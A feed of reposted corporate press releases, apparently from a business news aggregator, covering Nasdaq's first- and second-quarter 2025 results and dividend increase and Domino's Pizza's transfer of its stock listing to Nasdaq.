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Nasdaq: Reports Second Quarter 2025 Results; Double-Digit Net Revenue Growth Reflects Strong Momentum Across All Divisions https://ie3.euptest.org/nasdaq-reports-second-quarter-2025-results-double-digit-net-revenue-growth-reflects-strong-momentum-across-all-divisions/ Thu, 31 Jul 2025 07:01:02 +0000 https://www.insidentity.com/?p=136688 Imagery Source: Nasdaq Inc Information Source: Nasdaq Inc Nasdaq, Inc. (Nasdaq: NDAQ) today reported financial results for the second quarter of 2025. Second quarter 2025 net revenue1 was $1.3 billion, an increase of 13% over the second quarter of 2024, or up 12% on an organic2 basis. This included Solutions3 revenue growing 10%. Annualised Recurring Revenue (ARR)4 of $2.9 billion increased 10% over the second quarter of 2024, or up 9% on an organic basis. Annualised SaaS revenue increased 13%, or 12% on an organic basis, and represented 37% of ARR. Financial Technology revenue of $464 million increased 10% over the second quarter of 2024. Index revenue of $196 million grew 17%, with $88 billion of net inflows over the trailing twelve months and $20 billion in the second quarter of 2025. GAAP diluted earnings per share grew over 100% in the second quarter of 2025. Non-GAAP5 diluted earnings per share grew 24% in the second quarter of 2025. In the second quarter of 2025, the company returned $155 million to shareholders through dividends and $100 million through repurchases of common stock. The company also repaid $400 million of senior unsecured notes in the quarter. Adena Friedman, Chair and CEO, said, “Nasdaq delivered an excellent second quarter performance amid a dynamic market environment. Our ability to deliver broad-based growth through cycles is testament to our role as a partner to our clients, helping them capture strategic opportunities, manage risk, and solidify their operational resilience. Looking ahead, we remain well-positioned to enhance value for our clients and shareholders by driving innovation and deepening our client relationships through our One Nasdaq approach.” Sarah Youngwood, Executive Vice President and CFO, said, “Nasdaq’s financial results highlight the resilience of our business model and its ability to achieve exceptional revenue and earnings growth with strong free cash flow generation. We are executing well on our capital allocation priorities, including repaying debt, and have surpassed our gross leverage milestone 16 months ahead of plan. We will optimise for long-term investor returns as we make organic growth investments and balance further deleveraging with opportunistic share repurchases.” FINANCIAL REVIEW Second quarter 2025 net revenue was $1,306 million, reflecting 13% growth versus the prior year period. Organic net revenue growth was 12%. Solutions revenue was $991 million in the second quarter of 2025, up 10% versus the prior year period, reflecting strong growth from Index and Financial Technology. ARR grew 10% year-over-year, or 9% on an organic basis, in the second quarter of 2025, with 12% ARR growth for Financial Technology, or 11% on an organic basis, and 7% ARR growth for Capital Access Platforms, or 6% on an organic basis. Market Services’ net revenue was $306 million in the second quarter of 2025, up 22% versus the prior year period, or 21% on an organic basis. Second quarter 2025 GAAP operating expenses were $738 million, in line with the prior year period. The quarter reflected lower restructuring costs, offset by higher compensation and benefits costs, merger and strategic initiative costs, and increased investments in technology and people to drive innovation and long-term growth. Second quarter 2025 non-GAAP operating expenses were $585 million, reflecting 9% growth versus the prior year period, or 8% growth on an organic basis. The organic increase for the quarter reflected growth driven by increased investments in technology and people to drive innovation and long-term growth, partially offset by the benefit of synergies. Cash flow from operations was $746 million for the second quarter, enabling the company to make continued progress on its deleveraging plan. In the second quarter of 2025, the company returned $155 million to shareholders through dividends and $100 million through repurchases of common stock. As of June 30, 2025, there was $1.5 billion remaining under the board-authorised share repurchase program. The company also repaid $400 million of senior unsecured notes in the second quarter of 2025. 2025 EXPENSE AND TAX GUIDANCE UPDATE6 The company is updating its 2025 non-GAAP operating expense guidance to a range of $2,295 million to $2,335 million. The driver of the update is the impact of foreign exchange rates, which is offset in net revenue. The company is maintaining its 2025 non-GAAP tax rate guidance in the range of 22.5% to 24.5%. STRATEGIC AND BUSINESS UPDATES Financial Technology achieved solid revenue growth across each subdivision in a dynamic macro environment. Robust client demand drove double-digit revenue and ARR growth. FinTech delivered 57 new clients, 130 upsells, and a record 7 cross-sells. Second quarter highlights included: Financial Crime Management Technology is executing on its key growth initiatives. Second quarter results included three new enterprise client signings, including a cross-sell client and 2 upsells, reflecting continued progress on its enterprise client land and expand strategy. Nasdaq Verafin added 46 new small-and-medium bank clients in the second quarter. The business also signed its first proof of concept project with a European Tier 1 bank as part of its international expansion strategy. Regulatory Technology’s success with new client wins and upsells is driving growth. AxiomSL signed a new client and a cross-sell. The business accelerated its momentum with existing clients in the second quarter, with 34 upsells, including the renewal of a large bank. Surveillance signed 6 new clients in the quarter, including 2 market operators and a European regulator, as well as 3 cross-sells. The business closed 33 upsells in the quarter, including a strategic upsell to a large European bank. Solid momentum in Capital Markets Technology. Second quarter client demand was robust, supported by the ongoing market modernization mega trend. Calypso signed 2 new clients, 37 upsells, and a cross-sell. Market Technology secured 2 new clients, 24 upsells, and a cross-sell. In the second quarter, the business signed 3 clients to its fourth-generation marketplace technology platform, Nasdaq Eqlipse, including 2 fully managed services mandates where Nasdaq hosts and manages the clients’ entire trading environment and one AWS-hosted SaaS deployment. Index ETP assets under management reached record levels and surpassed $700 billion at quarter-end. In the second quarter, IndexRead More »Nasdaq: Reports Second Quarter 2025 Results; Double-Digit Net Revenue Growth Reflects Strong Momentum Across All Divisions

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Imagery Source: Nasdaq Inc Information Source: Nasdaq Inc Nasdaq, Inc. (Nasdaq: NDAQ) today reported financial results for the second quarter of 2025.
  • Second quarter 2025 net revenue1 was $1.3 billion, an increase of 13% over the second quarter of 2024, or up 12% on an organic2 basis. This included Solutions3 revenue growing 10%.
  • Annualised Recurring Revenue (ARR)4 of $2.9 billion increased 10% over the second quarter of 2024, or up 9% on an organic basis. Annualised SaaS revenue increased 13%, or 12% on an organic basis, and represented 37% of ARR.
  • Financial Technology revenue of $464 million increased 10% over the second quarter of 2024.
  • Index revenue of $196 million grew 17%, with $88 billion of net inflows over the trailing twelve months and $20 billion in the second quarter of 2025.
  • GAAP diluted earnings per share grew over 100% in the second quarter of 2025. Non-GAAP5 diluted earnings per share grew 24% in the second quarter of 2025.
  • In the second quarter of 2025, the company returned $155 million to shareholders through dividends and $100 million through repurchases of common stock. The company also repaid $400 million of senior unsecured notes in the quarter.
Adena Friedman, Chair and CEO, said, “Nasdaq delivered an excellent second quarter performance amid a dynamic market environment. Our ability to deliver broad-based growth through cycles is testament to our role as a partner to our clients, helping them capture strategic opportunities, manage risk, and solidify their operational resilience. Looking ahead, we remain well-positioned to enhance value for our clients and shareholders by driving innovation and deepening our client relationships through our One Nasdaq approach.” Sarah Youngwood, Executive Vice President and CFO, said, “Nasdaq’s financial results highlight the resilience of our business model and its ability to achieve exceptional revenue and earnings growth with strong free cash flow generation. We are executing well on our capital allocation priorities, including repaying debt, and have surpassed our gross leverage milestone 16 months ahead of plan. We will optimise for long-term investor returns as we make organic growth investments and balance further deleveraging with opportunistic share repurchases.”

FINANCIAL REVIEW

  • Second quarter 2025 net revenue was $1,306 million, reflecting 13% growth versus the prior year period. Organic net revenue growth was 12%.
  • Solutions revenue was $991 million in the second quarter of 2025, up 10% versus the prior year period, reflecting strong growth from Index and Financial Technology.
  • ARR grew 10% year-over-year, or 9% on an organic basis, in the second quarter of 2025, with 12% ARR growth for Financial Technology, or 11% on an organic basis, and 7% ARR growth for Capital Access Platforms, or 6% on an organic basis.
  • Market Services’ net revenue was $306 million in the second quarter of 2025, up 22% versus the prior year period, or 21% on an organic basis.
  • Second quarter 2025 GAAP operating expenses were $738 million, in line with the prior year period. The quarter reflected lower restructuring costs, offset by higher compensation and benefits costs, merger and strategic initiative costs, and increased investments in technology and people to drive innovation and long-term growth.
  • Second quarter 2025 non-GAAP operating expenses were $585 million, reflecting 9% growth versus the prior year period, or 8% growth on an organic basis. The organic increase for the quarter reflected growth driven by increased investments in technology and people to drive innovation and long-term growth, partially offset by the benefit of synergies.
  • Cash flow from operations was $746 million for the second quarter, enabling the company to make continued progress on its deleveraging plan. In the second quarter of 2025, the company returned $155 million to shareholders through dividends and $100 million through repurchases of common stock. As of June 30, 2025, there was $1.5 billion remaining under the board-authorised share repurchase program. The company also repaid $400 million of senior unsecured notes in the second quarter of 2025.
2025 EXPENSE AND TAX GUIDANCE UPDATE6 The company is updating its 2025 non-GAAP operating expense guidance to a range of $2,295 million to $2,335 million. The driver of the update is the impact of foreign exchange rates, which is offset in net revenue. The company is maintaining its 2025 non-GAAP tax rate guidance in the range of 22.5% to 24.5%. STRATEGIC AND BUSINESS UPDATES
  • Financial Technology achieved solid revenue growth across each subdivision in a dynamic macro environment. Robust client demand drove double-digit revenue and ARR growth. FinTech delivered 57 new clients, 130 upsells, and a record 7 cross-sells. Second quarter highlights included:
    • Financial Crime Management Technology is executing on its key growth initiatives. Second quarter results included three new enterprise client signings, including a cross-sell client and 2 upsells, reflecting continued progress on its enterprise client land and expand strategy. Nasdaq Verafin added 46 new small-and-medium bank clients in the second quarter. The business also signed its first proof of concept project with a European Tier 1 bank as part of its international expansion strategy.
    • Regulatory Technology’s success with new client wins and upsells is driving growth. AxiomSL signed a new client and a cross-sell. The business accelerated its momentum with existing clients in the second quarter, with 34 upsells, including the renewal of a large bank. Surveillance signed 6 new clients in the quarter, including 2 market operators and a European regulator, as well as 3 cross-sells. The business closed 33 upsells in the quarter, including a strategic upsell to a large European bank.
    • Solid momentum in Capital Markets Technology. Second quarter client demand was robust, supported by the ongoing market modernization mega trend. Calypso signed 2 new clients, 37 upsells, and a cross-sell. Market Technology secured 2 new clients, 24 upsells, and a cross-sell. In the second quarter, the business signed 3 clients to its fourth-generation marketplace technology platform, Nasdaq Eqlipse, including 2 fully managed services mandates where Nasdaq hosts and manages the clients’ entire trading environment and one AWS-hosted SaaS deployment.
  • Index ETP assets under management reached record levels and surpassed $700 billion at quarter-end. In the second quarter, Index had $20 billion in net inflows. ETP AUM was $745 billion at quarter-end, an all-time high. Nasdaq launched 33 new Index products in the second quarter, including 21 international products, 12 products in partnership with new Index clients, and 7 in the institutional insurance annuity space. Nasdaq and CME Group signed an extension through 2039 of CME Group’s exclusive license contract to offer futures and options on futures based on the Nasdaq-100 and other Nasdaq indexes, reflecting the companies’ shared commitment to delivering value through trusted benchmark products.
  • Nasdaq extended its listing leadership to 46 consecutive quarters. Nasdaq had the highest number of first half listings since 2021. New listings in the first half included 83 operating companies that raised more than $8 billion in total proceeds, contributing to a 81% win rate for eligible operating company listings. In the second quarter, the company welcomed 38 U.S. operating company IPOs that raised more than $3.5 billion in proceeds with a 79% win rate. Nasdaq maintained momentum in its switch program, attracting nearly $50 billion in market value in the second quarter and over $270 billion year-to-date, including Shopify, Thomson Reuters, and Kimberly Clark.
  • Market Services delivered record net revenue with record cash equities and derivatives revenue in the U.S. Nasdaq’s exchanges achieved record U.S. cash equities volumes in a quarter in which the industry achieved record volumes. During the Russell reconstitution, Nasdaq’s Closing Cross successfully executed 2.5 billion shares in 0.871 seconds across Nasdaq-listed securities that represented a record 102.5 billion dollars in notional value. Extending the first quarter’s trend, Nasdaq’s North American markets continued to experience exceptional message traffic in the second quarter, reaching a new record of more than 560 billion messages7 in a day. Nasdaq’s European equities business achieved sequential market share improvement in an elevated volume environment.
  • Nasdaq continues to execute on its 2025 strategic priorities — Integrate, Innovate, Accelerate — positioning the company to capitalise on opportunities for sustainable, scalable, and resilient growth.
    • Integrate – Nasdaq is on track to action its $140 million expanded net expense efficiency program by year-end, with approximately $130 million actioned as of the end of the second quarter. In the second quarter, Nasdaq surpassed the 3.3x gross leverage milestone that was set following the Adenza acquisition, achieving this milestone 16 months ahead of plan.
    • Innovate – Nasdaq continues to focus on innovating across the business. In July, Nasdaq Verafin announced the launch of its Agentic AI workforce. This suite of digital workers, now in beta testing, has the potential to address the most resource-intensive anti-money laundering workflows. For example, when onboarded into a bank’s alert triage workflow, the Digital Sanctions Analyst automates the screening, documentation and acknowledgement processes, reducing alert review workload requiring human intervention by more than 80%. Beyond AI, Calypso announced a proof of concept that expands its industry-leading collateral management capabilities with digital assets. The use case demonstrates Nasdaq’s ability to integrate on-chain capabilities and help financial institutions manage collateral across asset classes more dynamically and efficiently. Nasdaq became the exclusive distributor of Nasdaq Private Market’s Tape D(R) API in the second quarter to deliver real-time private market data and valuation insights to investors.
    • Accelerate – Nasdaq continued to deliver on its One Nasdaq strategy, driving 7 cross-sell wins across Financial Technology in the quarter for a total of 26 cross-sells since the Adenza acquisition. Nasdaq remains on track to surpass $100 million in run-rate revenue from cross-sells by the end of 2027. At the end of the second quarter, cross-sells continued to account for over 15% of Financial Technology’s sales pipeline.
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Nasdaq: Announces 13% Increase in Quarterly Dividend to $0.27 Per Share https://ie3.euptest.org/nasdaq-announces-13-increase-in-quarterly-dividend-to-0-27-per-share/ Tue, 27 May 2025 11:34:24 +0000 https://www.insidentity.com/?p=130777 Imagery Source: Flickr Information Source: Nasdaq The Board of Directors of Nasdaq, Inc. (Nasdaq: NDAQ) has declared a regular quarterly dividend of $0.27 per share on the company’s outstanding common stock, a 13% increase from the previous quarter. The dividend is payable on June 27, 2025, to shareholders of record at the close of business on June 13, 2025. Future declarations of quarterly dividends and the establishment of future record and payment dates are subject to approval by the Board of Directors. About Nasdaq Nasdaq (Nasdaq: NDAQ) is a leading global technology company serving corporate clients, investment managers, banks, brokers, and exchange operators as they navigate and interact with the global capital markets and the broader financial system. We aspire to deliver world-leading platforms that improve the liquidity, transparency, and integrity of the global economy. Our diverse offering of data, analytics, software, exchange capabilities, and client-centric services enables clients to optimise and execute their business vision with confidence. To learn more about the company, technology solutions, and career opportunities, visit us on LinkedIn, on X @Nasdaq, or at www.nasdaq.com. For the full document, click the link below Nasdaq, Inc Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

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Imagery Source: Flickr Information Source: Nasdaq The Board of Directors of Nasdaq, Inc. (Nasdaq: NDAQ) has declared a regular quarterly dividend of $0.27 per share on the company’s outstanding common stock, a 13% increase from the previous quarter. The dividend is payable on June 27, 2025, to shareholders of record at the close of business on June 13, 2025. Future declarations of quarterly dividends and the establishment of future record and payment dates are subject to approval by the Board of Directors. About Nasdaq Nasdaq (Nasdaq: NDAQ) is a leading global technology company serving corporate clients, investment managers, banks, brokers, and exchange operators as they navigate and interact with the global capital markets and the broader financial system. We aspire to deliver world-leading platforms that improve the liquidity, transparency, and integrity of the global economy. Our diverse offering of data, analytics, software, exchange capabilities, and client-centric services enables clients to optimise and execute their business vision with confidence. To learn more about the company, technology solutions, and career opportunities, visit us on LinkedIn, on X @Nasdaq, or at www.nasdaq.com. For the full document, click the link below Nasdaq, Inc Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

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Nasdaq: Reports First Quarter 2025 Results; Diversified Business Model Driving Broad-Based Revenue Growth https://ie3.euptest.org/nasdaq-reports-first-quarter-2025-results-diversified-business-model-driving-broad-based-revenue-growth/ Mon, 26 May 2025 11:37:31 +0000 https://www.insidentity.com/?p=130494 Imagery Source: Flickr Information Source: Nasdaq Nasdaq, Inc. (Nasdaq: NDAQ) today reported financial results for the first quarter of 2025. First quarter 2025 net revenue1 was $1.2 billion, an increase of 11% over the first quarter of 2024, or up 12.5% on an adjusted2 basis. This included Solutions3 revenue growing 9%, or up 11% on an adjusted basis. Annualised Recurring Revenue (ARR)4 of $2.8 billion increased 8% over the first quarter of 2024, or up 9% on an organic basis. Annualised SaaS revenue increased 14% and represented 37% of ARR. Financial Technology revenue of $432 million increased 10% over the first quarter of 2024, with Financial Crime Management Technology revenue up 21%. Index revenue of $193 million grew 14%, or 26% on an adjusted basis, with $86 billion of net inflows over the trailing twelve months and $27 billion in the first quarter of 2025. GAAP diluted earnings per share grew 69% in the first quarter of 2025. Non-GAAP5 diluted earnings per share grew 24% in the first quarter of 2025. In the first quarter of 2025, the company returned $138 million to shareholders through dividends and $115 million through repurchases of common stock. The company also repurchased $279 million of senior unsecured notes in the quarter. Adena Friedman, Chair and CEO said, “Nasdaq’s first quarter results underscore the resilience of our business model and our ability to deliver growth across our divisions in a rapidly shifting environment. As a trusted partner and platform company, we are empowering our clients to address their most pressing risks and challenges and confidently navigate complex macroeconomic conditions. With our portfolio of complementary, mission-critical solutions, we are well-positioned to deliver sustainable growth through 2025 and the medium-term.” Sarah Youngwood, Executive Vice President and CFO, said, “Nasdaq delivered one of its strongest quarters yet, with all three divisions achieving robust revenue growth and contributing to stellar EPS growth. We demonstrated strong operating leverage, and our high level of cash flow enabled us to make meaningful progress on our capital allocation strategy of investing in organic growth, reducing debt, and repurchasing shares. We are grateful for our clients’ trust and remain focused on supporting them in these times of uncertainty, executing on our growth opportunities, and continuing to deliver while making focused strategic investments to capitalise on our compelling organic growth opportunity.” FINANCIAL REVIEW First quarter 2025 net revenue was $1,237 million, reflecting 11% growth versus the prior year period. Adjusted net revenue growth was 12.5%. Solutions revenue was $947 million in the first quarter of 2025, up 9% versus the prior year period, or up 11% on an adjusted basis, reflecting strong growth from Index and Financial Technology. ARR grew 8% year-over-year, or 9% on an organic basis, in the first quarter of 2025, with 11% ARR growth for Financial Technology, or 12% on an organic basis, and 5% ARR growth for Capital Access Platforms. Market Services’ net revenue was $281 million in the first quarter of 2025, up 19% versus the prior year period. First quarter 2025 GAAP operating expenses were $690 million, a decrease of 3% versus the prior year period. The decrease in the first quarter was primarily due to lower expenses related to general and administrative expenses, lower restructuring costs, and lower compensation and benefits, partially offset by an increase in merger and strategic initiative costs. First quarter 2025 non-GAAP operating expenses were $555 million, reflecting 6% growth versus the prior year period, or 7% growth on an organic basis. The organic increase for the quarter reflected growth driven by increased investments in technology and people to drive innovation and long-term growth, partially offset by the benefit of synergies. Cash flow from operations was $663 million for the first quarter enabling the company to make continued progress on its deleveraging plan. In the first quarter of 2025, the company returned $138 million to shareholders through dividends and $115 million through repurchases of common stock. As of March 31, 2025, there was $1.6 billion remaining under the board authorized share repurchase program. The company also repurchased $279 million of senior unsecured notes for a net purchase price of $257 million in the first quarter of 2025. 2025 EXPENSE AND TAX GUIDANCE UPDATE7 The company is updating its 2025 non-GAAP operating expense guidance to a range of $2,265 million to $2,325 million, and is maintaining its 2025 non-GAAP tax rate guidance in the range of 22.5% to 24.5%. STRATEGIC AND BUSINESS UPDATES Financial Technology delivered durable and broad-based ARR growth. The One Nasdaq go-to-market strategy is elevating client engagement and driving product adoption, resulting in robust ARR growth. FinTech ARR grew 12% on an organic basis in the first quarter with 40 new clients, 92 upsells, and 2 cross-sells. First quarter highlights included: Financial Crime Management Technology revenue growth reflects momentum across both enterprise and small- and medium-sized bank (SMB) clients. Nasdaq Verafin secured several strategic first-quarter wins, including a cross-sell to a Tier 2 AxiomSL client and an upsell to a Tier 2 bank client, reflecting early progress on its land and expand enterprise client strategy. The business also added 35 new SMB clients in the first quarter, a 25% increase in new client signings over the prior year quarter. Nasdaq Verafin’s ongoing client growth is contributing to the growth and power of its data consortium, which now includes clients holding more than $10 trillion in total assets. Regulatory Technology achieved solid ARR growth as our solutions helped clients navigate elevated market activity. AxiomSL signed a new large digital bank client and continued its momentum with existing clients, with 22 upsells in the first quarter, including a strategic deal with a large Tier 1 U.S. financial institution. The Tier 1 client expanded its suite of AxiomSL services by incorporating a broker-dealer solution alongside their existing U.S., European, and Asian reporting modules. Surveillance signed 4 new clients in the quarter, including a European regulator, a crypto marketplace, an energy trading firm, and a broker-dealer. Capital Markets Technology signed multiple strategic deals amid the market modernisation megatrend. Strong execution and secular tailwinds are fueling new wins across the subdivision, with Calypso completing 25 upsells and Market Technology signing 17 upsells in the first quarter. Market Technology also had a cross-sell to Nuam, a consolidated market operator spanningRead More »Nasdaq: Reports First Quarter 2025 Results; Diversified Business Model Driving Broad-Based Revenue Growth

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Imagery Source: Flickr Information Source: Nasdaq Nasdaq, Inc. (Nasdaq: NDAQ) today reported financial results for the first quarter of 2025.
  • First quarter 2025 net revenue1 was $1.2 billion, an increase of 11% over the first quarter of 2024, or up 12.5% on an adjusted2 basis. This included Solutions3 revenue growing 9%, or up 11% on an adjusted basis.
  • Annualised Recurring Revenue (ARR)4 of $2.8 billion increased 8% over the first quarter of 2024, or up 9% on an organic basis. Annualised SaaS revenue increased 14% and represented 37% of ARR.
  • Financial Technology revenue of $432 million increased 10% over the first quarter of 2024, with Financial Crime Management Technology revenue up 21%.
  • Index revenue of $193 million grew 14%, or 26% on an adjusted basis, with $86 billion of net inflows over the trailing twelve months and $27 billion in the first quarter of 2025.
  • GAAP diluted earnings per share grew 69% in the first quarter of 2025. Non-GAAP5 diluted earnings per share grew 24% in the first quarter of 2025.
  • In the first quarter of 2025, the company returned $138 million to shareholders through dividends and $115 million through repurchases of common stock. The company also repurchased $279 million of senior unsecured notes in the quarter.
Adena Friedman, Chair and CEO said, “Nasdaq’s first quarter results underscore the resilience of our business model and our ability to deliver growth across our divisions in a rapidly shifting environment. As a trusted partner and platform company, we are empowering our clients to address their most pressing risks and challenges and confidently navigate complex macroeconomic conditions. With our portfolio of complementary, mission-critical solutions, we are well-positioned to deliver sustainable growth through 2025 and the medium-term.” Sarah Youngwood, Executive Vice President and CFO, said, “Nasdaq delivered one of its strongest quarters yet, with all three divisions achieving robust revenue growth and contributing to stellar EPS growth. We demonstrated strong operating leverage, and our high level of cash flow enabled us to make meaningful progress on our capital allocation strategy of investing in organic growth, reducing debt, and repurchasing shares. We are grateful for our clients’ trust and remain focused on supporting them in these times of uncertainty, executing on our growth opportunities, and continuing to deliver while making focused strategic investments to capitalise on our compelling organic growth opportunity.” FINANCIAL REVIEW
  • First quarter 2025 net revenue was $1,237 million, reflecting 11% growth versus the prior year period. Adjusted net revenue growth was 12.5%.
  • Solutions revenue was $947 million in the first quarter of 2025, up 9% versus the prior year period, or up 11% on an adjusted basis, reflecting strong growth from Index and Financial Technology.
  • ARR grew 8% year-over-year, or 9% on an organic basis, in the first quarter of 2025, with 11% ARR growth for Financial Technology, or 12% on an organic basis, and 5% ARR growth for Capital Access Platforms.
  • Market Services’ net revenue was $281 million in the first quarter of 2025, up 19% versus the prior year period.
  • First quarter 2025 GAAP operating expenses were $690 million, a decrease of 3% versus the prior year period. The decrease in the first quarter was primarily due to lower expenses related to general and administrative expenses, lower restructuring costs, and lower compensation and benefits, partially offset by an increase in merger and strategic initiative costs.
  • First quarter 2025 non-GAAP operating expenses were $555 million, reflecting 6% growth versus the prior year period, or 7% growth on an organic basis. The organic increase for the quarter reflected growth driven by increased investments in technology and people to drive innovation and long-term growth, partially offset by the benefit of synergies.
  • Cash flow from operations was $663 million for the first quarter enabling the company to make continued progress on its deleveraging plan. In the first quarter of 2025, the company returned $138 million to shareholders through dividends and $115 million through repurchases of common stock. As of March 31, 2025, there was $1.6 billion remaining under the board authorized share repurchase program. The company also repurchased $279 million of senior unsecured notes for a net purchase price of $257 million in the first quarter of 2025.
2025 EXPENSE AND TAX GUIDANCE UPDATE7
  • The company is updating its 2025 non-GAAP operating expense guidance to a range of $2,265 million to $2,325 million, and is maintaining its 2025 non-GAAP tax rate guidance in the range of 22.5% to 24.5%.
STRATEGIC AND BUSINESS UPDATES
  • Financial Technology delivered durable and broad-based ARR growth. The One Nasdaq go-to-market strategy is elevating client engagement and driving product adoption, resulting in robust ARR growth. FinTech ARR grew 12% on an organic basis in the first quarter with 40 new clients, 92 upsells, and 2 cross-sells. First quarter highlights included:
  • Financial Crime Management Technology revenue growth reflects momentum across both enterprise and small- and medium-sized bank (SMB) clients. Nasdaq Verafin secured several strategic first-quarter wins, including a cross-sell to a Tier 2 AxiomSL client and an upsell to a Tier 2 bank client, reflecting early progress on its land and expand enterprise client strategy. The business also added 35 new SMB clients in the first quarter, a 25% increase in new client signings over the prior year quarter. Nasdaq Verafin’s ongoing client growth is contributing to the growth and power of its data consortium, which now includes clients holding more than $10 trillion in total assets.
  • Regulatory Technology achieved solid ARR growth as our solutions helped clients navigate elevated market activity. AxiomSL signed a new large digital bank client and continued its momentum with existing clients, with 22 upsells in the first quarter, including a strategic deal with a large Tier 1 U.S. financial institution. The Tier 1 client expanded its suite of AxiomSL services by incorporating a broker-dealer solution alongside their existing U.S., European, and Asian reporting modules. Surveillance signed 4 new clients in the quarter, including a European regulator, a crypto marketplace, an energy trading firm, and a broker-dealer.
  • Capital Markets Technology signed multiple strategic deals amid the market modernisation megatrend. Strong execution and secular tailwinds are fueling new wins across the subdivision, with Calypso completing 25 upsells and Market Technology signing 17 upsells in the first quarter. Market Technology also had a cross-sell to Nuam, a consolidated market operator spanning Peru, Chile, and Colombia. In the first quarter, Nuam selected Nasdaq’s newly launched trade, clearing, and central securities depositories (CSD) intelligence solution after signing Nasdaq’s Trade Multi Matching Engine in late 2023 and its member countries standardising on Nasdaq’s CSD platform in December 2024.
  • Investments in index-powered alpha-driven revenue growth. Index had $27 billion in net inflows in the first quarter, with average ETP AUM reaching $662 billion, to achieve a sixth consecutive record quarter, despite a more volatile market backdrop. Index’s performance reflects the ongoing execution of its growth strategy of new product innovation, international diversification, and institutional client expansion. In the first quarter, Nasdaq launched 30 new Index products, including 10 international products, 7 in the institutional insurance annuity space, and 16 launched in partnership with new Index clients. New product launches have been a strong growth driver for Index, and products launched since 2020 have accounted for 33% of net inflows over the last 5 years.
  • Nasdaq maintained listing leadership and passed $3 trillion of market value in cumulative transfers. During the quarter, Nasdaq welcomed 45 operating company listings that raised nearly $5 billion of proceeds, contributing to an 82% win rate of eligible operating companies in the quarter. First quarter wins included 3 of the quarter’s top 5 offerings: CoreWeave, SailPoint, and Smithfield Foods. In the first quarter, the company exceeded $3 trillion in combined market value for total listing transfers since Nasdaq first launched its switch program in 2005. Nasdaq welcomed 7 high-profile transfers in the quarter, including Shopify, Thomson Reuters, and Domino’s Pizza, that added over $230 billion in market value.
  • Market Services delivered record net revenues with record cash equities and derivatives volumes in the U.S. Within the recent market volatility, Nasdaq achieved U.S. record volumes in cash equities and equity options, including index options, in the first quarter. Nasdaq also extended its leadership in on-exchange trading with U.S. cash equities market share increasing year-over-year and sequentially. During the first quarter, Nasdaq’s North American markets experienced extraordinary message traffic, which reached a record of more than 425 billion messages8 in a day.
  • Nasdaq aims to expand U.S. market access to 24/5 trading in the second half of 2026. The planned launch of 24-hour trading on the Nasdaq Stock Market will broaden investor access and wealth-building opportunities globally, including in Asia, where demand for Nasdaq-listed stocks is accelerating. Nasdaq’s timeline is subject to regulatory approval and alignment with the industry participants.
  • Nasdaq and Amazon Web Services signed an enhanced agreement to amplify their prior partnership. The partnership aims to benefit both the Market Services and Financial Technology divisions and advance Nasdaq’s vision to be the trusted fabric of the world’s financial system. Nasdaq plans to offer its financial services clients new cloud-based solutions in phases. The initial phase focuses on providing market operators with public and hybrid cloud infrastructure, software, and service offerings that mitigate transformation risk, retain data sovereignty, and optimise performance, latency, security, and resilience. Nasdaq’s Nordic markets will be among the first markets to leverage the infrastructure powered by the new partnership, subject to regulatory approval. Nasdaq has also expanded its modernisation partnerships with both the Johannesburg Stock Exchange (JSE) and Mexico’s Grupo BMV.
  • Nasdaq is executing on its 2025 strategic priorities — Integrate, Innovate, Accelerate — positioning the company to capitalise on opportunities for sustainable, scalable, and resilient growth.
  • Integrate – Nasdaq is on track to action its $140 million expanded net expense efficiency program by year-end, with over $100 million actioned as of the end of the first quarter. Moody’s upgraded Nasdaq’s senior unsecured debt rating from Baa2 to Baa1 on March 31.
  • Innovate – Nasdaq continued to amplify innovation across the company as the team rolled out new AI-powered features to our solutions and product offerings and launched new Index products. Client usage of Nasdaq Verafin’s Co-Pilot tool grew 20% sequentially in the first quarter, highlighting the value and efficiency the offering provides to clients. Currently, more than 1,200 clients are leveraging the co-pilot to expedite their alert reviews.
  • Accelerate – The company continues to execute on its One Nasdaq strategy securing 19 cross-sell wins since the Adenza acquisition across key solutions including Surveillance, AxiomSL, and Verafin. Nasdaq remains on track to surpass $100 million in run-rate revenue from cross-sells by the end of 2027. At the end of the first quarter, cross-sells accounted for over 15% of Financial Technology’s sales pipeline.
For the full document, click the link below:  Nasdaq, Inc. Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies

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Domino’s Pizza: to Transfer Stock Exchange Listing to Nasdaq https://ie3.euptest.org/dominos-pizza-to-transfer-stock-exchange-listing-to-nasdaq/ Fri, 13 Dec 2024 11:55:03 +0000 https://www.insidentity.com/?p=110776 Domino’s Pizza, Inc. (NYSE: DPZ), the largest pizza company in the world, today announced that it will voluntarily transfer its stock exchange listing to the Nasdaq Global Select Market from the New York Stock Exchange, effective December 31, 2024, after market close. Domino’s common stock is expected to begin trading as a Nasdaq-listed security on January 2, 2025. The Company will retain its current ticker symbol “DPZ.” About Domino’s Pizza® Founded in 1960, Domino’s Pizza is the largest pizza company in the world, with a significant business in both delivery and carryout pizza. It ranks among the world’s top public restaurant brands with a global enterprise of more than 21,000 stores in over 90 markets. Domino’s had global retail sales of over $18.9 billion for the trailing four quarters ended September 8, 2024. Its system is comprised of independent franchise owners who accounted for 99% of Domino’s stores as of the end of the third quarter of 2024. In the U.S., Domino’s generated more than 85% of U.S. retail sales in 2023 via digital channels and has developed several innovative ordering platforms including seven unique ways to order Domino’s. For the full document click the link below: Domino’s Pizza, Inc Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

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Domino’s Pizza, Inc. (NYSE: DPZ), the largest pizza company in the world, today announced that it will voluntarily transfer its stock exchange listing to the Nasdaq Global Select Market from the New York Stock Exchange, effective December 31, 2024, after market close. Domino’s common stock is expected to begin trading as a Nasdaq-listed security on January 2, 2025. The Company will retain its current ticker symbol “DPZ.” About Domino’s Pizza® Founded in 1960, Domino’s Pizza is the largest pizza company in the world, with a significant business in both delivery and carryout pizza. It ranks among the world’s top public restaurant brands with a global enterprise of more than 21,000 stores in over 90 markets. Domino’s had global retail sales of over $18.9 billion for the trailing four quarters ended September 8, 2024. Its system is comprised of independent franchise owners who accounted for 99% of Domino’s stores as of the end of the third quarter of 2024. In the U.S., Domino’s generated more than 85% of U.S. retail sales in 2023 via digital channels and has developed several innovative ordering platforms including seven unique ways to order Domino’s. For the full document click the link below: Domino’s Pizza, Inc Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

